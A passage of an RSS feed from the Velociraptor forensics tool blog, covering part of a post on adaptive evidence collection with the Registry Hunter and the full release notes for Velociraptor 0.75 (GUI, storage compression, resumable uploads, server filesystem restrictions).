href=&#34;registry_hunter.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    The Registry Hunter Collection options&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;The Registry Hunter now has a &lt;code&gt;CollectionPolicy&lt;/code&gt; parameter for rules&#xA;that implement adaptive rules. By default these rules simply hash the&#xA;binaries uncovered in the registry, but they can collect them as well.&lt;/p&gt;&#xA;&lt;p&gt;For example, consider the &lt;a href=&#34;https://registry-hunter.velocidex.com/docs/rules/#Scheduled%20Tasks%20%28TaskCache%29&#34; target=&#34;_blank&#34; &gt;Scheduled Tasks (TaskCache)&#xA;rule&lt;/a&gt;&#xA;from the Registry Hunter. This rule analyses the registry to extract&#xA;the scheduled tasks (as opposed to analysing the XML files in the&#xA;&lt;code&gt;Windows/System32/Tasks&lt;/code&gt; directory).&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2025/2025-09-28-adaptive-collections//blog/2025/2025-09-28-adaptive-collections/scheduled_tasks_.svg&#34; alt=&#34;Registry analysis for the Scheduled Tasks rule&#34;&#xA;         class=&#34;inline&#34;&#xA;         height=&#34;1051.6666666666667&#34;&#xA;         width=&#34;2191.9298245614036&#34;  /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;scheduled_tasks.svg&#34;&gt;&lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Registry analysis for the Scheduled Tasks rule&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;When the task action launches a binary, the Registry Hunter is able to&#xA;inspect the disk to check on the launched binary.&lt;/p&gt;&#xA;&lt;p&gt;For an offline collector, it is recommended to use both the &lt;code&gt;Registry Hunter&lt;/code&gt; and the &lt;code&gt;Triage Targets&lt;/code&gt; artifacts together.&lt;/p&gt;&#xA;&lt;h3 id=&#34;optimizations&#34;&gt;Optimizations&lt;/h3&gt;&#xA;&lt;p&gt;Adaptive collection is more expensive than simple file collection, as&#xA;it requires Velociraptor to parse forensic artifacts on the endpoint&#xA;and attempt to locate the files referred by them on disk.&lt;/p&gt;&#xA;&lt;p&gt;While parsing the forensic artifacts on the endpoint is usually very&#xA;quick due to Velociraptor&amp;rsquo;s optimized VQL engine, the act of hashing&#xA;and collecting all the additional files can increase the time and&#xA;storage requirements to collect the triage artifact.&lt;/p&gt;&#xA;&lt;p&gt;Most of the time, adaptive collection helps us to answer the following&#xA;questions:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Were the target files present on the endpoint at collection time?&lt;/p&gt;&#xA;&lt;p&gt;This information is important as many forensic artifacts record&#xA;evidence of execution for files that were already deleted. In this&#xA;case, it won&amp;rsquo;t help us to go back to the endpoint and re-collect&#xA;the target file - it is deleted already!&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;What were those files?&lt;/p&gt;&#xA;&lt;p&gt;Some of the files that were indicated by the forensic artifacts may&#xA;be significant for further investigation - for example, malware&#xA;payloads may need to be collected etc.&lt;/p&gt;&#xA;&lt;p&gt;However not all files are unique to the investigation. For example,&#xA;most files that are executed on the endpoint are legitimate&#xA;binaries. We rarely need to collect those, and even if we need them&#xA;later, legitimate binaries can usually be acquired in other ways&#xA;(for example Virus Total).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Adaptive collections need to strike a balance between collecting&#xA;everything and collecting the most useful files.&lt;/p&gt;&#xA;&lt;h3 id=&#34;guidelines-for-using-adaptive-collections&#34;&gt;Guidelines for using adaptive collections&lt;/h3&gt;&#xA;&lt;p&gt;For offline collections, it is usually not possible to go back to the&#xA;endpoint to perform a second collection. In this case it might be&#xA;better to err on the side of collecting more than less.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Use &lt;code&gt;ExcludeSigned&lt;/code&gt; Collection Policy&lt;/li&gt;&#xA;&lt;li&gt;Consider using the &lt;code&gt;TrustedPathRegex&lt;/code&gt; to eliminate system files.&lt;/li&gt;&#xA;&lt;li&gt;Set conservative values for &lt;code&gt;MaxFileSize&lt;/code&gt; to avoid capturing very&#xA;large adaptively, such as very large executables.&lt;/li&gt;&#xA;&lt;li&gt;If you are concerned about endpoint resource load, consider imposing &lt;a href=&#34;https://www.velociraptor-docs.org/docs/clients/artifacts/#specify-resources&#34;&gt;CPU limits&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;For live connected clients, it is useful to run an adaptive collection&#xA;with &lt;code&gt;HashOnly&lt;/code&gt; collection policy:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Bulk adaptive targets are not collected so this reduces needed&#xA;storage and bandwidth, as well as speeding the collection&#xA;significantly.&lt;/li&gt;&#xA;&lt;li&gt;The artifact will still attempt to locate and hash the targets&#xA;which tells us if the files are still present on the endpoint. We&#xA;can always issue a new collection for important files.&lt;/li&gt;&#xA;&lt;li&gt;If you dont use the hashes, considering setting &lt;code&gt;MaxHashSize&lt;/code&gt; to a&#xA;small number. This will speed up the artifact and still record if&#xA;the file itself is present (and its timestamps).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h2 id=&#34;conclusions&#34;&gt;Conclusions&lt;/h2&gt;&#xA;&lt;p&gt;The idea behind &lt;code&gt;Adaptive Collection&lt;/code&gt; is to automate the analysis as&#xA;much as possible, and make collection decisions based on this&#xA;automated initial analysis pass. We need to weigh up how likely it is&#xA;that the discovered files be useful for further analysis.&lt;/p&gt;&#xA;&lt;p&gt;It is not 100% reliable - sometimes there will be interesting binaries&#xA;present inside the Windows directory which the artifact will&#xA;skip. This might necessitate the investigator to go back and retrieve&#xA;it.&lt;/p&gt;&#xA;&lt;p&gt;You can think of forensic acquisition as a spectrum: at one extreme a&#xA;bit-for-bit copy of disk and memory, will surely capture most of the&#xA;data we are interested in. However, this is not usually practical due&#xA;to large systems, storage and network bandwidth.&lt;/p&gt;&#xA;&lt;p&gt;At the other extreme, a &lt;code&gt;triage collection&lt;/code&gt; just captures some&#xA;critical files, like event logs. This is usually insufficient to&#xA;complete a full analysis of a case.&lt;/p&gt;&#xA;&lt;p&gt;The &lt;code&gt;Adaptive Collection&lt;/code&gt; is a middle ground - not as complete as a&#xA;bit-for-bit copy, but a lot better than just collecting files blindly.&#xA;By reducing the analyse/collect feedback loop, Velociraptor is able to&#xA;speed up investigations and strike a better balance along the&#xA;acquisition spectrum.&lt;/p&gt;&#xA;&lt;p&gt;If you like to try these new artifacts, take &lt;a href=&#34;https://github.com/Velocidex/velociraptor&#34; target=&#34;_blank&#34; &gt;Velociraptor for a&#xA;spin&lt;/a&gt;!  It is available on&#xA;GitHub under an open source license. As always please file issues on&#xA;the bug tracker or ask questions on our mailing list&#xA;&lt;a href=&#34;mailto:velociraptor-discuss@googlegroups.com&#34; target=&#34;_blank&#34; &gt;velociraptor-discuss@googlegroups.com&lt;/a&gt;&#xA;. You can also chat with us directly on discord&#xA;&lt;a href=&#34;https://www.velocidex.com/discord&#34; target=&#34;_blank&#34; &gt;https://www.velocidex.com/discord&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;</description>
    </item>
    <item>
      <title>Velociraptor 0.75 Release</title>
      <link>https://www.velociraptor-docs.org/blog/2025/2025-08-30-release-notes-0.75/</link>
      <pubDate>Sat, 30 Aug 2025 00:00:00 +0000</pubDate>
      <guid>https://www.velociraptor-docs.org/blog/2025/2025-08-30-release-notes-0.75/</guid>
      <description>&lt;p&gt;I am very excited to announce that the latest Velociraptor release&#xA;0.75 is now available.&lt;/p&gt;&#xA;&lt;p&gt;In this post I will discuss some of the new features introduced by&#xA;this release.&lt;/p&gt;&#xA;&lt;h2 id=&#34;gui-improvements&#34;&gt;GUI Improvements&lt;/h2&gt;&#xA;&lt;p&gt;This release improves a number of GUI features.&lt;/p&gt;&#xA;&lt;h3 id=&#34;multi-select-deletion&#34;&gt;Multi-select deletion&lt;/h3&gt;&#xA;&lt;p&gt;Previously it was only possible to delete flows, clients, artifacts or&#xA;hunts one at the time. However, in this release it is now possible to&#xA;highlight a set of items by clicking the first item in the range, then&#xA;pressing SHIFT, then clicking the last in the range.&lt;/p&gt;&#xA;&lt;p&gt;This allows deleting many items at once from the GUI. The same process works for&#xA;deleting multiple clients, multiple artifacts in the artifacts viewer, multiple&#xA;notebooks, and multiple collections from a client.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2025/2025-08-30-release-notes-0.75//blog/2025/2025-08-30-release-notes-0.75/multi-select_.svg&#34; alt=&#34;Selecting multiple flows for deletion&#34;&#xA;         class=&#34;inline&#34;&#xA;         height=&#34;840.9722222222223&#34;&#xA;         width=&#34;1954.8608837970542&#34;  /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;multi-select.svg&#34;&gt;&lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Selecting multiple flows for deletion&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h3 id=&#34;artifact-tagging&#34;&gt;Artifact Tagging&lt;/h3&gt;&#xA;&lt;p&gt;As Velociraptor is used by more and more people, we are seeing many&#xA;public artifact sources becoming widely available for users to add to&#xA;their server. While this is great to see, it is sometimes overwhelming&#xA;to see so many custom artifacts in the artifacts viewer mixed up into&#xA;the same view.&lt;/p&gt;&#xA;&lt;p&gt;Previously, we used a prefix to import artifacts so their names would&#xA;be distinct. For example, all artifacts coming from the artifact&#xA;exchange were given the &lt;code&gt;Exchange&lt;/code&gt; prefix. This proved problematic in&#xA;practice because it made it difficult for artifacts to import other&#xA;artifacts by their name, when the name could depend on the way the&#xA;user imported the artifacts.&lt;/p&gt;&#xA;&lt;p&gt;In this release, Velociraptor introduces the concept of a &lt;code&gt;Tag&lt;/code&gt; on the&#xA;artifact. Tags are kept separately from the artifact itself, and can&#xA;be considered part of the artifact metadata.&lt;/p&gt;&#xA;&lt;p&gt;You can add tags using the&#xA;&lt;a href=&#34;https://www.velociraptor-docs.org/vql_reference/server/artifact_set_metadata/&#34;&gt;artifact_set_metadata&lt;/a&gt;&#xA;VQL function, which is used in certain import artifacts.&#xA;This allows grouping of similar artifacts.&lt;/p&gt;&#xA;&lt;p&gt;The GUI will add a new search category for each tag to allow the user&#xA;to easily see all artifacts that have the same tag.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2025/2025-08-30-release-notes-0.75//blog/2025/2025-08-30-release-notes-0.75/artifact_tags_.svg&#34; alt=&#34;Artifacts can be tagged based on their import source&#34;&#xA;         class=&#34;inline&#34;&#xA;         height=&#34;1010.3333333333335&#34;&#xA;         width=&#34;2294.449760765551&#34;  /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;artifact_tags.svg&#34;&gt;&lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Artifacts can be tagged based on their import source&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;In the above example, the artifacts imported through the&#xA;&lt;code&gt;Server.Import.Extras&lt;/code&gt; artifact are tagged with the &lt;code&gt;Extras&lt;/code&gt; tag. They&#xA;can all be seen together and deleted at once if needed (using the&#xA;multi-select method described above).&lt;/p&gt;&#xA;&lt;h3 id=&#34;table-keyboard-navigation&#34;&gt;Table keyboard navigation&lt;/h3&gt;&#xA;&lt;p&gt;Velociraptor presents a lot of information in tabular form. This&#xA;release adds keyboard navigation to all tables to make it easier to&#xA;preview a lot of information quickly:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;n&lt;/code&gt;, &lt;code&gt;p&lt;/code&gt; page table forward and backwards.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;j&lt;/code&gt;, &lt;code&gt;k&lt;/code&gt; move selection focus up or down&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;home&lt;/code&gt;, &lt;code&gt;end&lt;/code&gt; page table to first or last page.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;server-improvements&#34;&gt;Server improvements&lt;/h2&gt;&#xA;&lt;h3 id=&#34;storing-compressed-data&#34;&gt;Storing compressed data&lt;/h3&gt;&#xA;&lt;p&gt;Velociraptor is often used to collect large quantities of data from&#xA;endpoints. This data appears in the form of either bulk data&#xA;(e.g. file contents) or JSON data (e.g. the results of VQL queries).&lt;/p&gt;&#xA;&lt;p&gt;This data can be quite large and new users often run out of disk space&#xA;when starting to collect from large networks. In previous versions of&#xA;Velociraptor, the server would store the data uncompressed on&#xA;disk. This has some advantages such as being able to post process the&#xA;data using an external script or program because the data is simply&#xA;stored as flat files on the server.&lt;/p&gt;&#xA;&lt;p&gt;However, this advantage comes at a massive cost in storage needs. It&#xA;would be much better to store the data compressed on the server and&#xA;only decompress the data as needed.&lt;/p&gt;&#xA;&lt;p&gt;Because the Velociraptor server is light weight and needs to support a&#xA;large number of endpoints, it is not practical to have the server&#xA;itself compress the data as it arrives from the endpoints.  Therefore&#xA;in this release, the Velociraptor client is asked to compress data&#xA;into chunks as it is transmitting the data in the first place. The&#xA;server only needs to write the chunks down into storage &lt;strong&gt;without&#xA;needing to decompress the data at all&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;This new scheme actually makes the server faster, as it needs to write&#xA;less data to storage (reduced IO costs), and does not require the&#xA;server to perform expensive compression/decompression cycles. The&#xA;client does not actually have to do additional work (as it always&#xA;needs to compress data for network transmission anyway), so this&#xA;scheme is an overall improvement in performance.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2025/2025-08-30-release-notes-0.75//blog/2025/2025-08-30-release-notes-0.75/compressed_storage_.svg&#34; alt=&#34;Data is now stored compressed on disk&#34;&#xA;         class=&#34;inline&#34;&#xA;         height=&#34;1047&#34;&#xA;         width=&#34;2323.5514018691583&#34;  /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;compressed_storage.svg&#34;&gt;&lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Data is now stored compressed on disk&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;The above example shows a typical &lt;code&gt;Windows.Triage.Targets&lt;/code&gt; collection&#xA;with the &lt;code&gt;KapeFiles&lt;/code&gt; target on a test system collecting just under 2Gb&#xA;of data (mostly bulk files in this case). However, the actual storage&#xA;used on disk is around 300Mb representing a 85% storage saving.&lt;/p&gt;&#xA;&lt;p&gt;Even higher compression ratios were observed with artifacts that&#xA;produce a lot of JSON output, like &lt;code&gt;Windows.NTFS.MFT&lt;/code&gt;, since JSON data&#xA;is highly compressible.&lt;/p&gt;&#xA;&lt;p&gt;The downside of this change is that the files on the server storage&#xA;are no longer readable by external tools, and so any post processing&#xA;artifacts that use the &lt;a href=&#34;https://www.velociraptor-docs.org/vql_reference/server/file_store/&#34;&gt;file_store()&lt;/a&gt; to obtain the underlying file&#xA;are unlikely to work. If you need to get the uncompressed data you may&#xA;use the &lt;a href=&#34;https://www.velociraptor-docs.org/vql_reference/other/copy/&#34;&gt;copy()&lt;/a&gt; function to&#xA;copy the file to a temporary file thereby uncompressing it.&lt;/p&gt;&#xA;&lt;p&gt;Since the new compression scheme requires client support it will only&#xA;work with 0.75 clients. If you do not want to enable compression you&#xA;may change &lt;a href=&#34;https://www.velociraptor-docs.org/docs/deployment/references/#Datastore.compression&#34;&gt;the configuration setting&lt;/a&gt; to &amp;ldquo;none&amp;rdquo;.&lt;/p&gt;&#xA;&lt;h3 id=&#34;resumable-uploads&#34;&gt;Resumable uploads&lt;/h3&gt;&#xA;&lt;p&gt;Velociraptor places a reasonable timeout on collections in order to&#xA;avoid accidentally collecting too many files. This is necessary&#xA;because often we do not really know what is on the endpoint before&#xA;collection. For example, say we wanted to collect all browser&#xA;artifacts from an endpoint. Sometimes, a single server may have&#xA;hundreds or even thousands of users (e.g. a Terminal Server) and this&#xA;artifact will end up collecting vast quantities of data, likely not&#xA;targeted to the investigation.&lt;/p&gt;&#xA;&lt;p&gt;For this reason, Velociraptor always places a timeout on collections,&#xA;as well as an upload limit. The idea is to catch such accidents early.&lt;/p&gt;&#xA;&lt;p&gt;Previously when a collection would reach its limits, the collection&#xA;would be cancelled and the user would be faced with two choices:&#xA;either refine the artifact to be more targeted and collect less data,&#xA;or repeat the collection with larger timeout or upload limits.&lt;/p&gt;&#xA;&lt;p&gt;If the user chose to repeat the collection, then all the previous data&#xA;would need to be collected again (since it is a brand new collection).&lt;/p&gt;&#xA;&lt;p&gt;In this release, Velociraptor offers &lt;code&gt;Resumable Collections&lt;/code&gt;. This&#xA;feature is enabled by default for many artifacts that primarily&#xA;collect files (such as the &lt;code&gt;Windows.Triage.Targets&lt;/code&gt; artifact).&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2025/2025-08-30-release-notes-0.75//blog/2025/2025-08-30-release-notes-0.75/resume_uploads_.svg&#34; alt=&#34;Resuming uploads from an interrupted collection&#34;&#xA;         class=&#34;inline&#34;&#xA;         height=&#34;1000.8333333333333&#34;&#xA;         width=&#34;2231.0236220472434&#34;  /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;resume_uploads.svg&#34;&gt;&lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Resuming uploads from an interrupted collection&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;In the above example the &lt;code&gt;Windows.Triage.Targets&lt;/code&gt; artifact timed out&#xA;but it is reporting that there are 928 upload transactions remaining&#xA;(i.e. incomplete uploads that can be resumed). Clicking the &lt;code&gt;Resume Uploads&lt;/code&gt; button will restart those uploads and set the collection back&#xA;into the running state.&lt;/p&gt;&#xA;&lt;p&gt;Note that this may not always be safe. If the filesystem has changed&#xA;since the upload transaction started, the resumed file may not match&#xA;with the initial file. For example, supposed that the original&#xA;artifact searched for &lt;code&gt;C:\Windows\*.exe&lt;/code&gt; and found 50 executable files&#xA;to upload, but when the collection was resumed, 10 of the previous&#xA;executables were removed and 10 more were added. The resumed&#xA;collection will not detect the new files and will fail to upload the&#xA;older files.&lt;/p&gt;&#xA;&lt;p&gt;If you wish to use resumable uploads in your custom artifact, set the&#xA;&lt;code&gt;UPLOAD_IS_RESUMABLE&lt;/code&gt; parameter to &lt;code&gt;TRUE&lt;/code&gt;. This changes the &lt;code&gt;upload()&lt;/code&gt;&#xA;function to become asynchronous and just queue an upload transaction&#xA;instead of waiting for the upload to complete.&lt;/p&gt;&#xA;&lt;h3 id=&#34;securing-the-server-filesystem&#34;&gt;Securing the Server Filesystem&lt;/h3&gt;&#xA;&lt;p&gt;Velociraptor allows users to run arbitrary VQL queries in&#xA;notebooks. These queries run directly on the server and so may allow&#xA;users to view any files or run any commands on the server itself.&lt;/p&gt;&#xA;&lt;p&gt;In many higher security deployments there is a need to restrict access&#xA;to the server itself from Velociraptor users. Velociraptor already&#xA;offers an extensive user permission model, with users needing the&#xA;&lt;code&gt;FILESYSTEM_READ&lt;/code&gt; permission to be able to read files on the server&#xA;filesystem.&lt;/p&gt;&#xA;&lt;p&gt;Often it is necessary to provide users with this permission (for&#xA;example to allow them to post process data using an external tool),&#xA;but we still do not want to allow users to be able to read the entire&#xA;server filesystem.&lt;/p&gt;&#xA;&lt;p&gt;In this release it is possible to restrict the directories that VQL is&#xA;allowed to read on the server using &lt;a href=&#34;https://www.velociraptor-docs.org/docs/deployment/references/#security.allowed_file_accessor_prefix&#34;&gt;a configuration option&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;h2 id=&#34;client-improvements&#34;&gt;Client improvements&lt;/h2&gt;&#xA;&lt;h3 id=&#34;reworked-lnk-parser&#34;&gt;Reworked Lnk parser&lt;/h3&gt;&#xA;&lt;p&gt;The &lt;code&gt;Lnk&lt;/code&gt; parser is used in many artifacts like&#xA;&lt;code&gt;Windows.Forensics.Shellbags&lt;/code&gt;, &lt;code&gt;Windows.Forensics.Lnk&lt;/code&gt;, and&#xA;&lt;code&gt;Windows.Forensics.JumpLists&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;The artifact is now more complete with support for many shellbag&#xA;types.&lt;/p&gt;&#xA;&lt;h3 id=&#34;added-windowsforensicsnotepadparser&#34;&gt;Added Windows.Forensics.NotepadParser&lt;/h3&gt;&#xA;&lt;p&gt;The new notepad available in Windows 11 provides a lot of valuable forensic&#xA;information. This is now implemented in Velociraptor based on research by&#xA;&lt;a href=&#34;https://github.com/ogmini/Notepad-State-Library&#34; target=&#34;_blank&#34; &gt;ogmini&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;h3 id=&#34;removal-of-some-large-artifacts&#34;&gt;Removal of some large artifacts&lt;/h3&gt;&#xA;&lt;p&gt;Over time Velociraptor has spawned many sub-projects for curating and&#xA;managing certain larger, more complex artifacts. As some artifacts became more&#xA;complex and powerful, we moved them into separate projects so that they could be&#xA;developed and managed independently of the main Velociraptor project. Splitting&#xA;these off allows for independent release cycles, thus facilitating more rapid&#xA;development and innovation.&lt;/p&gt;&#xA;&lt;p&gt;The following artifacts were removed from the built-in set, and are now&#xA;available to download using the &lt;code&gt;Server.Import.Extras&lt;/code&gt; server artifact:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;The &lt;code&gt;Windows.KapeFiles.Targets&lt;/code&gt; artifact is now managed as part of&#xA;the &lt;a href=&#34;https://triage.velocidex.com/&#34; target=&#34;_blank&#34; &gt;Velociraptor Triage Project&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;This project intends to develop a set of rules that are used for specifying&#xA;the collection of files from the endpoint.&lt;/p&gt;&#xA;&lt;p&gt;Building on from the &lt;code&gt;KapeFiles&lt;/code&gt; repository, this project now&#xA;contains the &lt;code&gt;Windows.Triage.Targets&lt;/code&gt; artifact based on the old&#xA;&lt;code&gt;KapeFiles&lt;/code&gt; project, and the &lt;code&gt;Linux.Triage.UAC&lt;/code&gt; artifact based on&#xA;the &lt;code&gt;UAC&lt;/code&gt; project.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;The &lt;code&gt;Generic.Forensic.SQLiteHunter&lt;/code&gt; artifact is now managed under the&#xA;&lt;a href=&#34;https://sqlitehunter.velocidex.com/&#34; target=&#34;_blank&#34; &gt;Velociraptor SQLite Hunter Project&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;This aims to be a one-stop shop for all &lt;code&gt;SQLite&lt;/code&gt;, &lt;code&gt;ESE&lt;/code&gt; and many other&#xA;database-oriented forensic artifacts.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://sigma.velocidex.com/&#34; target=&#34;_blank&#34; &gt;Velociraptor Sigma Project&lt;/a&gt; is the home of&#xA;our artifacts that implement rapid Sigma-based triage and monitoring rules.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://registry-hunter.velocidex.com/&#34; target=&#34;_blank&#34; &gt;Velociraptor Registry Hunter Project&lt;/a&gt;&#xA;is our project to develop sophisticated registry analysis modules.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://www.velociraptor-docs.org/exchange/&#34;&gt;The Velociraptor Artifact Exchange&lt;/a&gt; is our&#xA;repository of community-contributed artifacts.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2025/2025-08-30-release-notes-0.75//blog/2025/2025-08-30-release-notes-0.75/import_extras.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;New links on the welcome screen include one to run Server.Import.Extras&#34;&#xA;         width=&#34;1020&#34; height=&#34;701&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;import_extras.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    New links on the welcome screen include one to run Server.Import.Extras&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;The following artifacts were permanently removed:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;&lt;code&gt;Generic.Collectors.SQLECmd&lt;/code&gt;: Superseded by &lt;code&gt;Generic.Forensic.SQLiteHunter&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;&lt;code&gt;Server.Import.DeleteArtifacts&lt;/code&gt;: Obsolete since custom artifacts can now be&#xA;filtered by tag and then bulk deleted using&#xA;&lt;a href=&#34;#multi-select-deletion&#34;&gt;multi-select deletion&lt;/a&gt;&#xA;as described above.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;&lt;code&gt;Server.Import.UpdatedBuiltin&lt;/code&gt;: Superseded by &lt;code&gt;Server.Import.Extras&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;&lt;code&gt;Windows.Analysis.EvidenceOfExecution&lt;/code&gt;: A wrapper artifact that is largely&#xA;superseded by &lt;code&gt;Windows.Registry.Hunter&lt;/code&gt;, however the underlying artifacts are&#xA;still included.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h2 id=&#34;conclusions&#34;&gt;Conclusions&lt;/h2&gt;&#xA;&lt;p&gt;There are many more new features and bug fixes in the latest&#xA;release. Please download the release candidate and give it a test and&#xA;provide feedback.&lt;/p&gt;&#xA;&lt;p&gt;If you like the new features, take &lt;a href=&#34;https://github.com/Velocidex/velociraptor&#34; target=&#34;_blank&#34; &gt;Velociraptor for a&#xA;spin&lt;/a&gt;!  It is available&#xA;on GitHub under an open source license. As always please file issues&#xA;on the bug tracker or ask questions on our mailing list&#xA;&lt;a href=&#34;mailto:velociraptor-discuss@googlegroups.com&#34; target=&#34;_blank&#34; &gt;velociraptor-discuss@googlegroups.com&lt;/a&gt;&#xA;. You can also chat with us directly on discord&#xA;&lt;a href=&#34;https://www.velocidex.com/discord&#34; 